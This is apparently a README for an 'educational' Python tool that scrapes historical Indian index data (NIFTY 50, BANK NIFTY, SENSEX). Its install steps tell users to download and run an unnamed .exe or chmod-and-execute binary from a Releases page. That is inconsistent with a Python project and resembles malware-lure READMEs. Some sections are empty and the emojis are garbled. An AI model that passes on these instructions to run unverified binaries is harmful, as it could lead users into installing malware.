Akash Ahmed

πŸ“Š data-scraping - Collect Historical Stock Data Easily

πŸš€ Getting Started

Welcome to the data-scraping project! This educational Python application helps you collect historical intraday data from popular Indian stock indices, including NIFTY 50, BANK NIFTY, and SENSEX. This tool is designed for learning purposes only, not for live trading.

🏷️ Topics Covered

πŸ“₯ Download Now

Download Latest Release

πŸ› οΈ System Requirements

πŸ“‚ Download & Install

To get started, visit this page to download the latest version of the application: Releases Page.

Once you’re on the Releases page, follow these simple steps:

  1. Find the latest version listed at the top.
  2. Click on the asset name that matches your operating system. For example, if you are using Windows, select the file marked for Windows.
  3. The download will start automatically.
  4. Once downloaded, locate the file in your downloads folder.

If you are using Windows, follow these steps to run the application:

  1. Double-click the downloaded .exe file.
  2. Follow the on-screen instructions to complete the installation.

For macOS or Linux users, follow these steps:

  1. Open a terminal window.
  2. Navigate to the directory where the downloaded file is located. Use the cd command, for example:
    cd ~/Downloads
    
  3. Change the permissions of the file by typing:
    chmod +x [filename]
    

    Replace [filename] with the name of the downloaded file.

  4. Run the application by typing:
    ./[filename]
    

πŸ“– How to Use the Application

After installation, here’s how you can use the data-scraping application:

  1. Open the application: You can find it in your programs list or by using the terminal on macOS/Linux.
  2. Select the index: Choose one of the indices (NIFTY 50, BANK NIFTY, SENSEX) from the dropdown menu.
  3. Set time frame: Specify the time frame for the historical data you want to collect.
  4. Start data collection: Click the β€œStart” button to begin gathering the data. The application will display the progress as it works.
  5. View the data: Once complete, you can find collected data in the specified output folder.

πŸ“š Documentation

For a detailed guide on how to use all the features of the application, please refer to the Documentation. This includes troubleshooting tips and step-by-step guides.

πŸ“ž Support

If you encounter any issues while using the application or have questions, please create an issue in the Issues section. Our team and community will assist you.

πŸ“ Contribution

We welcome contributions to improve the application. If you wish to contribute, please read the Contribution Guidelines.

Thank you for using data-scraping for your learning journey in the financial data domain!